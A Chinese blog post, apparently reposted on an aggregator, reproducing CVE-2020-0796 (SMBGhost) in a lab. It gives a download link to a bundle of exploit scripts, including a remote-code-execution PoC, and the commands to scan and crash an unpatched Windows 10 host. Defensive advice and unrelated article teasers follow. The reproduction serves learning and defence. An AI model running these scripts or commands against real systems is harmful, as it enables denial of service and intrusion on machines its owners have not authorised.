当前位置: 首页 > news >正文

CVE-2020-0796永恒之蓝2.0(漏洞复现)

目录

前言

产生原因

影响范围

漏洞复现

复现环境

复现步骤

防御措施

总结


前言

在网络安全的战场上,漏洞一直是攻防双方关注的焦点。CVE-2020-0796,这个被称为 “永恒之蓝 2.0” 的漏洞,一度引起了广泛的关注与担忧。它究竟是怎样的一个漏洞,又会对我们的系统产生怎样的威胁?本文将深入探讨这个漏洞,并进行漏洞复现,同时为大家提供有效的防御措施。

产生原因

这个漏洞的产生主要源于 Windows 对 SMBv3 协议处理中的缺陷。当 SMBv3 协议处理某些特制的压缩数据包时,存在缓冲区溢出的问题。Windows 系统在解析这些数据包时,没有对数据包的长度和内容进行严格的边界检查,从而导致攻击者可以精心构造恶意数据包,使得系统在处理这些数据包时发生缓冲区溢出,进而执行攻击者预先植入的恶意代码。

影响范围

该漏洞影响众多基于 Windows 的操作系统,包括但不限于:

  • Windows Server 2019
  • Windows 10 Version 1903、1909 等较新版本

微软官方也发布了相关安全公告,建议用户尽快进行更新以修复此漏洞。

漏洞复现

通过网盘分享的文件:永恒之蓝攻击脚本
链接: https://pan.baidu.com/s/1ZtQEMg2nBtn6VZtfg6_k1g?pwd=5c6r 提取码: 5c6r 
--来自百度网盘超级会员v3的分享

复现环境

  • 攻击机:Kali Linux    
  • 目标机:Windows 10(未安装相关安全补丁)

复现步骤

使用的命令

nmap -p 445 --script=smb-protocols <目标IP>    #使用Nmap对目标网络进行扫描
unzip CVE-2020-0796.zip                        #解压攻击压缩包
cd CVE-2020-0796                               #进入到解压的文件夹
cd SMBGhost                                    #切换到漏洞检测目录
python3 scanner.py 10.0.0.103                  #使用python3脚本进行检测目标ip地址是否有此漏洞
cd ../CVE-2020-0796-PoC                        #切换到攻击脚本目录
python3 CVE-2020-0796.py 10.0.0.103            #使用python3进行攻击

     1.上传永恒之蓝攻击脚本,并进行解压

  2.解压后切换到解压后的路径中,并查看文件夹下的内容

drwxrwxrwx 4 root root 4096 2024年 6月29日  CVE-2020-0796-PoC  #蓝屏攻击脚本
drwxrwxrwx 2 root root 4096 2024年 6月29日  SMBGhost           #扫描脚本
drwxrwxrwx 2 root root 4096 2024年 6月29日  SMBGhost_RCE_PoC   #远程控制攻击脚本

 3.切换进入扫描脚本文件夹,使用python3运行扫描脚本,扫描目标主机是否存在此漏洞

 4.切换进入攻击脚本,此时利用脚本进行攻击

 5.此时查看目标靶机已经蓝屏

至此,CVE-2020-0796漏洞复现结束。

防御措施

及时更新系统:安装微软发布的安全补丁是最有效的防御手段。用户应定期检查系统更新,并及时安装。

网络隔离:对不同安全级别的网络进行隔离,限制 SMBv3 协议的访问范围,减少攻击面。

启用防火墙:配置防火墙规则,阻止未经授权的 SMBv3 连接请求。可以只允许特定的 IP 地址或网络段访问 SMB 服务。

总结

CVE-2020-0796“永恒之蓝 2.0” 漏洞再次给我们敲响了网络安全的警钟。了解漏洞的原理、影响范围和防御措施,有助于我们更好地保护自己的系统安全。在日常运维中,要养成及时更新系统、加强网络安全防护的好习惯,共同营造一个安全的网络环境。

相关文章:

CVE-2020-0796永恒之蓝2.0(漏洞复现)

目录 前言 产生原因 影响范围 漏洞复现 复现环境 复现步骤 防御措施 总结 前言 在网络安全的战场上&#xff0c;漏洞一直是攻防双方关注的焦点。CVE-2020-0796&#xff0c;这个被称为 “永恒之蓝 2.0” 的漏洞&#xff0c;一度引起了广泛的关注与担忧。它究竟是怎样的…...

游戏策划的分类

P3游戏策划分类 1.程序2.美术3.策划 程序&#xff1a;一般分为客户端程序和服务器程序 客户端程序一般负责游戏的前端画面表现 服务器程序负责游戏的后端运算 美术&#xff1a;角色原画&#xff0c;角色模型动作&#xff0c;场景原画&#xff0c;场景模型&#xff0c;UI设计&a…...

单片机基础模块学习——PCF8591芯片

一、A/D、D/A模块 A——Analog 模拟信号&#xff1a;连续变化的信号&#xff08;很多传感器原始输出的信号都为此类信号&#xff09;D——Digital 数字信号&#xff1a;只有高电平和低电平两种变化&#xff08;单片机芯片、微控制芯片所能处理的都是数字信号&#xff09; 下面…...

深入探索 HTML5 拖拽效果 API:打造流畅交互体验

在现代的 Web 开发中&#xff0c;交互性和用户体验一直是开发者关注的重点。HTML5 的拖拽效果 API (Drag and Drop API) 提供了一种非常直观的方式来让网页元素或文件能够被拖动并放置到页面的指定位置&#xff0c;极大提升了用户的交互体验。本篇文章将深入探讨如何使用 HTML5…...

【Healpix】python一种用于将球面划分为均匀区域的技术

Healpix 1、简介2、Healpix的基本原理3、Healpix的优点4、安装及使用4.1 安装healpy4.2 创建Healpix地图4.3 读取和写入Healpix数据4.4 数据插值 5、案例5.1 案例一&#xff1a;宇宙微波背景辐射&#xff08;CMB&#xff09;分析5.2 案例二&#xff1a;星系分布分析5.3 案例三&…...

Go:基于Go实现一个压测工具

文章目录 写在前面整体架构通用数据处理模块Http请求响应数据处理Curl参数解析处理 客户端模块Http客户端处理Grpc客户端处理Websocket客户端处理 连接处理模块GrpcHttp 统计数据模块统计原理实现过程 写在前面 本篇主要是基于Go来实现一个压测的工具&#xff0c;关于压测的内…...

算法-加油站问题

hello 大家好&#xff01;今天开写一个新章节&#xff0c;每一天一道算法题。让我们一起来学习算法思维吧&#xff01; function canCompleteCircuit(gas, cost) {// 加油站的总数const n gas.length;// 记录总剩余油量&#xff0c;若总剩余油量小于 0&#xff0c;说明无法绕环…...

UART ,IIC 和SPI三种总线协议

1.UART 1.1 简介 UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff09;即通用异步收发器。 常见的串行、异步通信总线&#xff0c;两条数据线Tx、Rx&#xff0c;实现全双工通信&#xff0c;常用于主机与外设的通信&#xff0c;点对点。 1.2 硬件连接 交叉…...

Padas进行MongoDB数据库CRUD

在数据处理的领域,MongoDB作为一款NoSQL数据库,以其灵活的文档存储结构和高扩展性广泛应用于大规模数据处理场景。Pandas作为Python的核心数据处理库,能够高效处理结构化数据。在MongoDB中,数据以JSON格式存储,这与Pandas的DataFrame结构可以很方便地互相转换。通过这篇教…...

动手学图神经网络(6):利用图神经网络进行点云分类

利用图神经网络进行点云分类 引言 在本教程中,大家将学习使用图神经网络(Graph Neural Networks, GNN)进行点云分类的基本工具。给定一组对象或点集的数据集,将这些对象嵌入到一个特征空间中,使得它们在特定任务下能够分类。将原始点云作为神经网络的输入,让网络学习捕…...

C语言从入门到进阶

视频&#xff1a;https://www.bilibili.com/video/BV1Vm4y1r7jY?spm_id_from333.788.player.switch&vd_sourcec988f28ad9af37435316731758625407&p23 //枚举常量 enum Sex{MALE,FEMALE,SECRET };printf("%d\n", MALE);//0 printf("%d\n", FEMALE…...

Python中容器类型的数据(下)

集合 集合 (set) 是一种可迭代的、无序的、不能包含重复元素的容器类型的数据。 Python中的集合是一种重要的数据结构&#xff0c;以下为你详细介绍&#xff1a; 定义与特点 无序性&#xff1a;集合中的元素没有固定顺序&#xff0c; {1, 2, 3} 和 {3, 2, 1} 在Python中是同一…...

MySQL 用户相关的操作详解

MySQL 5.x 用户操作 创建用户 在 MySQL 5.x 中&#xff0c;使用 GRANT 语句创建用户并授权&#xff1a; 语法 GRANT ALL PRIVILEGES ON *.* TO usernamehost IDENTIFIED BY password;username&#xff1a;用户名 host&#xff1a;指定用户可访问的主机&#xff0c;例如 loca…...

如何删除hugging face dowloaded的llm model?

如何删除hugging face dowloaded的llm model&#xff1f; 在现在需要使用llm进行research的情况下&#xff0c;经常会出现&#xff0c;由于下载模型太多&#xff0c;导致内存问题&#xff0c;然后需要删除某些不用的模型的情况&#xff0c;那么如何找到hugging face的模型保存…...

Vue 封装http 请求

封装message 提示 Message.js import { ElMessage } from "element-plus";const showMessage (msg,callback,type)>{ElMessage({message: msg,type: type,duration: 3000,onClose:()>{if (callback) {callback();}}}); }const message {error: (msg,…...

恒源云云GPU服务器训练模型指南

1数据上传 为了更方便的上传数据与下载数据&#xff0c;本例程采用xftp来完成数据的传输与下载。 XFTP下载链接&#xff0c;选择学生免费试用即可 2服务器的选择以及开启&#xff1a; 控制台->我的实例->点击创建实例 一般选择按量付费 接下来根据自己代码的torch版本…...

Spring Boot应用中实现基于JWT的登录拦截器,以保证未登录用户无法访问指定的页面

目录 一、配置拦截器进行登录校验 1. 在config层设置拦截器 2. 实现LoginInterceptor拦截器 3. 创建JWT工具类 4. 在登录时创建JWT并存入Cookie 二、配置JWT依赖和环境 1. 添加JWT依赖 2. 配置JWT环境 本篇博客将为大家介绍了如何在Spring Boot应用中实现基于JWT的登录…...

MySQL 基础学习(1):数据类型与操作数据库和数据表

MySQL 基础学习&#xff1a;数据类型与操作数据库和数据表 在这篇博客中&#xff0c;我们将深入学习 MySQL 的基础操作&#xff0c;重点关注数据库和数据表的操作&#xff0c;以及 MySQL 中常见的数据类型。希望本文能帮助你更好地理解和掌握 MySQL 的基本用法。 一、操作数据…...

zyNo.19

哈希&#xff08;md5&#xff09;绕过问题 本质上是弱类型问题的延申 题型 登录的哈希验证 $a ! $b Md5($a) md5($b) 解决办法Md5绕过 var_dump ("0e123456" "0e4456789"); //true 0e545993274517709034328855841020//true 参考资料0e开头的哈希…...

Kafka生产者ACK参数与同步复制

目录 生产者的ACK参数 ack等于0 ack等于1&#xff08;默认&#xff09; ack等于-1或all Kafka的同步复制 使用误区 生产者的ACK参数 Kafka的ack机制可以保证生产者发送的消息被broker接收成功。 Kafka producer有三种ack机制 &#xff0c;分别是 0&#xff0c;1&#xf…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来

一、破局&#xff1a;PCB行业的时代之问 在数字经济蓬勃发展的浪潮中&#xff0c;PCB&#xff08;印制电路板&#xff09;作为 “电子产品之母”&#xff0c;其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透&#xff0c;PCB行业面临着前所未有的挑战与机遇。产品迭代…...

React第五十七节 Router中RouterProvider使用详解及注意事项

前言 在 React Router v6.4 中&#xff0c;RouterProvider 是一个核心组件&#xff0c;用于提供基于数据路由&#xff08;data routers&#xff09;的新型路由方案。 它替代了传统的 <BrowserRouter>&#xff0c;支持更强大的数据加载和操作功能&#xff08;如 loader 和…...

IGP(Interior Gateway Protocol,内部网关协议)

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?

Otsu 是一种自动阈值化方法&#xff0c;用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理&#xff0c;能够自动确定一个阈值&#xff0c;将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

postgresql|数据库|只读用户的创建和删除(备忘)

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

第25节 Node.js 断言测试

Node.js的assert模块主要用于编写程序的单元测试时使用&#xff0c;通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试&#xff0c;通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】

1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...